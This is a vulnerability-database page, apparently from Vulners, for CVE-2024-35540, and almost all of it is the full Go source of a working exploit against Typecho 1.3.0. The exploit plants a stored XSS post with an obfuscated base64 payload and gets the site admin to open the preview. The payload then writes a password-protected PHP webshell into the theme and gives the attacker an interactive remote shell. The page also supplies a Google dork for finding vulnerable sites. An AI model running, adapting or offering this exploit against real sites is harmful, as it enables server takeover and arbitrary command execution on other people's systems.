| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| Exploit for Authentication Bypass by Spoofing in Typecho | 18 Aug 202417:09 | – | githubexploit | |
| CVE-2024-35540 | 20 Aug 202417:58 | – | circl | |
| typecho 安全漏洞 | 20 Aug 202400:00 | – | cnnvd | |
| CVE-2024-35540 | 20 Aug 202400:00 | – | cve | |
| CVE-2024-35540 | 20 Aug 202400:00 | – | cvelist | |
| Typecho 1.3.0 - Stored Cross-Site Scripting (XSS) | 10 Apr 202500:00 | – | exploitdb | |
| CVE-2024-35540 | 20 Aug 202415:15 | – | nvd | |
| PT-2024-26532 · Typecho · Typecho | 18 Aug 202400:00 | – | ptsecurity | |
| CVE-2024-35540 | 23 May 202508:19 | – | redhatcve | |
| CVE-2024-35540 | 20 Aug 202400:00 | – | vulnrichment |
// Exploit Title: Typecho <= 1.3.0 Stored Cross-Site Scripting (XSS)
// Google Dork: intext:"Powered by Typecho" inurl:/index.php
// Date: 18/08/2024
// Exploit Author: Michele 'cyberaz0r' Di Bonaventura
// Vendor Homepage: https://typecho.org
// Software Link: https://github.com/typecho/typecho
// Version: 1.3.0
// Tested on: Typecho 1.3.0 Docker Image with PHP 7.4 (https://hub.docker.com/r/joyqi/typecho)
// CVE: CVE-2024-35540
// For more information, visit the blog post: https://cyberaz0r.info/2024/08/typecho-multiple-vulnerabilities/
package main
import (
"bufio"
"bytes"
"crypto/rand"
"crypto/sha256"
"encoding/base64"
"fmt"
"net/http"
"net/url"
"os"
"strings"
"time"
)
var (
postTitle string = "Reflected XSS PoC"
postText string = "Hey admin! Look at the draft of this blog post, can I publish it?"
userAgent string = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
client *http.Client = &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
)
func getEditUrl(u string, cookies string) string {
req, err := http.NewRequest("GET", u+"/admin/write-post.php", nil)
if err != nil {
fmt.Println("[X] Error creating initial request:", err)
return ""
}
req.Header.Set("Cookie", cookies)
req.Header.Set("User-Agent", userAgent)
resp, err := client.Do(req)
if err != nil {
fmt.Println("[X] Error sending initial request:", err)
return ""
}
buf := new(bytes.Buffer)
buf.ReadFrom(resp.Body)
body := buf.String()
if !strings.Contains(body, "<form action=\"") {
fmt.Println("[X] Error finding post edit URL")
return ""
}
editUrl := strings.Split(body, "<form action=\"")[1]
editUrl = strings.Split(editUrl, "\"")[0]
return editUrl
}
func generateRandomBytes() string {
bytes := make([]byte, 64)
rand.Read(bytes)
return fmt.Sprintf("%x", sha256.Sum256(bytes))
}
func getJsCode(password string) string {
phpPayload := `
header("X-Random-Token: " . md5(uniqid()));
if (isset($_POST["CSRFToken"]) && $_POST["CSRFToken"] === "%s") {
if (isset($_POST["action"])) {
system($_POST["action"]);
exit;
}
}
`
phpPayload = fmt.Sprintf(phpPayload, password)
jsPayload := `
var i = document.createElement('iframe');
i.src = location.protocol+'//'+location.host+'/admin/theme-editor.php';
i.style.display = 'none';
document.body.appendChild(i);
setTimeout(() => {
var textarea = i.contentWindow.document.getElementById('content');
if (textarea.value.includes(payload))
return;
textarea.value = textarea.value.replace(/<\?php/, '<?php ' + payload);
var form = i.contentWindow.document.getElementById('theme').submit();
}, 200);
`
return fmt.Sprintf("var payload = `%s`;\n%s", phpPayload, jsPayload)
}
func generatePayload(jsCode string) string {
remainder := len(jsCode) % 3
if remainder != 0 {
jsCode += strings.Repeat(" ", 3-remainder)
}
jsCodeEncoded := base64.StdEncoding.EncodeToString([]byte(jsCode))
return fmt.Sprintf("[<img style=\"display:none\" src=x onerror=\"eval(atob('%s'))\">][1]\n[1]: https://google.com", jsCodeEncoded)
}
func createPost(u string, cookies string, payload string) string {
formData := url.Values{}
formData.Set("title", postTitle)
formData.Set("text", payload+"\n"+postText)
formData.Set("do", "save")
formData.Set("markdown", "1")
formData.Set("category%5B%5D", "1")
formData.Set("allowComment", "1")
formData.Set("allowPing", "1")
formData.Set("allowFeed", "1")
formData.Set("dst", "60")
formData.Set("timezone", "7200")
req, err := http.NewRequest("POST", u, strings.NewReader(formData.Encode()))
if err != nil {
fmt.Println("[X] Error creating malicious post creation request:", err)
return ""
}
req.Header.Set("Cookie", cookies)
req.Header.Set("User-Agent", userAgent)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))
req.Header.Set("Referer", strings.Replace(strings.Split(u, ".php")[0], "index", "admin/write-post.php", 1))
resp, err := client.Do(req)
if err != nil {
fmt.Println("[X] Error sending malicious post creation request:", err)
return ""
}
defer resp.Body.Close()
return resp.Header.Get("Location")
}
func checkInjected(u string) bool {
req, err := http.NewRequest("HEAD", u, nil)
if err != nil {
return false
}
req.Header.Set("User-Agent", userAgent)
resp, err := client.Do(req)
if err != nil {
return false
}
return resp.Header.Get("X-Random-Token") != ""
}
func readInput() string {
scanner := bufio.NewScanner(os.Stdin)
if scanner.Scan() {
return scanner.Text()
}
return ""
}
func interactiveShell(u string, password string) {
for {
fmt.Print("$ ")
cmd := readInput()
formData := url.Values{}
formData.Set("CSRFToken", password)
formData.Set("action", cmd)
req, err := http.NewRequest("POST", u, strings.NewReader(formData.Encode()))
if err != nil {
fmt.Println("[X] Error creating shell request:", err)
continue
}
req.Header.Set("User-Agent", userAgent)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))
resp, err := client.Do(req)
if err != nil {
fmt.Println("[X] Error sending shell request:", err)
continue
}
buf := new(bytes.Buffer)
buf.ReadFrom(resp.Body)
body := buf.String()
fmt.Println(body)
}
}
func main() {
if len(os.Args) != 3 {
fmt.Println("Usage: go run CVE-2024-35540.go <URL> <COOKIE_HEADER_VALUE>")
os.Exit(1)
}
fmt.Println("[+] Starting Typecho <= 1.3.0 Stored XSS exploit (CVE-2024-35540) by cyberaz0r")
targetUrl := os.Args[1]
cookies := os.Args[2]
fmt.Println("[*] Getting post edit URL with CSRF token...")
editUrl := getEditUrl(targetUrl, cookies)
if editUrl == "" {
fmt.Println("[-] Could not get post edit URL, exiting...")
return
}
fmt.Println("[+] Edit URL:", editUrl)
password := generateRandomBytes()
fmt.Println("[+] Generated password to access the webshell: ", password)
fmt.Println("[*] Generating JavaScript code to inject webshell...")
jsCode := getJsCode(password)
payload := generatePayload(jsCode)
fmt.Println("[*] Creating malicious post...")
postUrl := createPost(editUrl, cookies, payload)
if postUrl == "" || postUrl == "/" {
fmt.Println("[-] Could not create malicious post, exiting...")
return
}
previewUrl := strings.Replace(postUrl, "write-post.php", "preview.php", 1)
fmt.Println("[+] Malicious post created successfully!")
fmt.Println("[i] Send this preview URL to the admin to trigger the XSS:\n" + previewUrl)
fmt.Println("[*] Waiting for the admin to visit the preview URL...")
for !checkInjected(targetUrl) {
time.Sleep(1 * time.Second)
}
fmt.Println("[+] Webshell injected successfully!")
fmt.Println("[+] Enjoy your shell ;)\n")
interactiveShell(targetUrl, password)
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation